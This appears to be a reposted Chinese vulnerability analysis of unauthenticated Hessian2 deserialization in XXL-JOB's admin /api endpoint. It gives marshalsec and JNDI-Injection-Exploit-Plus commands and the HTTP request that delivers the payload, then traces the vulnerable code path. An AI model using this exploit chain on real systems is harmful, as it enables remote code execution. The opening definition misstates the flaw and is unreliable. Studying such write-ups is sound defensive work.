漏洞分析 | xxl-job前台api未授权Hessian2反序列化
XXL-JOB是一个分布式任务调度平台。Hessian2是一种序列化协议,用于在XXL-JOB前后端之间传输数据。前台API未授权Hessian2反序列化是指,客户端请求XXL-JOB的前台API时,没有提供正确的认证信息,导致服务端无法正确地对请求进行反序列化处理。
0x01 漏洞复现
使用marshalsec生成hessian反序列化数据:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://127.0.0.1:1099/remoteExploit8 > xxx/xxl-job/cmd.ser
项目地址:
https://github.com/mbechler/marshalsec

使用JNDI-Injection-Exploit-Plus监听rmi请求:
java -jar JNDI-Injection-Exploit-Plus-2.2-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
项目地址:
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus

发送请求包:

数据包:
POST /xxl-job-admin/api HTTP/1.1
Host: 192.168.22.5:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: x-application/hessian
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
{{file(xxx/java/xxl-job/cmd.ser)}}
0x02 漏洞分析
0x02.1 漏洞搭建
版本小于2.0.2
直接clone源码后修改logback.xml的log.path为本地文件路径,然后导入MySQL文件,直接启动即可:

0x02.2 漏洞分析
根据请求的接口为api查找到对应的Controller为com.xxl.job.admin.controller.JobApiController,@PermessionLimit(limit=false)这里将limit设置为false就不需要鉴权,进入到这里直接进入下一步:

进入
com.xxl.job.admin.core.schedule.XxlJobDynamicScheduler#invokeAdminService
在这里面没有做任何操作:

随后就会进入到
com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#handle中
首先判断target是否为/services,不是则会进入
com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#parseRequest中
对请求进行处理:

进入到
com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#parseRequest中
首先将请求中的body全部读取出来,读取出来的则会直接进行反序列化操作:

接下来就是查找是那个类进行反序列化操作,主要通过查找XxlRpcProviderFactory这个工厂类在那些地方被初始化,直接使用idea右键的find Usages:

总的就两个地方实例化了这个类:
com.xxl.job.admin.core.schedule.XxlJobDynamicScheduler和com.xxl.job.core.executor.XxlJobExecutor
在这两个类中都是调用
com.xxl.rpc.remoting.provider.XxlRpcProviderFactory#initConfig方法
对成员变量赋值:

而在
com.xxl.rpc.remoting.provider.XxlRpcProviderFactory#initConfig方法中的第二个参数
就是刚才调用的反序列化类,通过工厂类返回给
com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#parseRequest
使用:

这里放进去的反序列化类就是com.xxl.rpc.serialize.impl.HessianSerializer ,这里面其实调用的还是Hessian2进行反序列化:


最终在
com.xxl.rpc.serialize.impl.HessianSerializer#deserialize中进行hessian2
反序列化操作:

本文章转载微信公众号@杂七杂八聊安全
最新文章
- 小红书AI文章风格转换:违禁词替换与内容优化技巧指南
- REST API 设计:过滤、排序和分页
- 认证与授权API对比:OAuth vs JWT
- 如何获取 Coze开放平台 API 密钥(分步指南)
- 首次构建 API 时的 10 个错误状态代码以及如何修复它们
- 当中医遇上AI:贝业斯如何革新中医诊断
- 如何使用OAuth作用域为您的API添加细粒度权限
- LLM API:2025年的应用场景、工具与最佳实践 – Orq.ai
- API密钥——什么是API Key 密钥?
- 华为 UCM 推理技术加持:2025 工业设备秒级监控高并发 API 零门槛实战
- 使用JSON注入攻击API
- 思维链提示工程实战:如何通过API构建复杂推理的AI提示词系统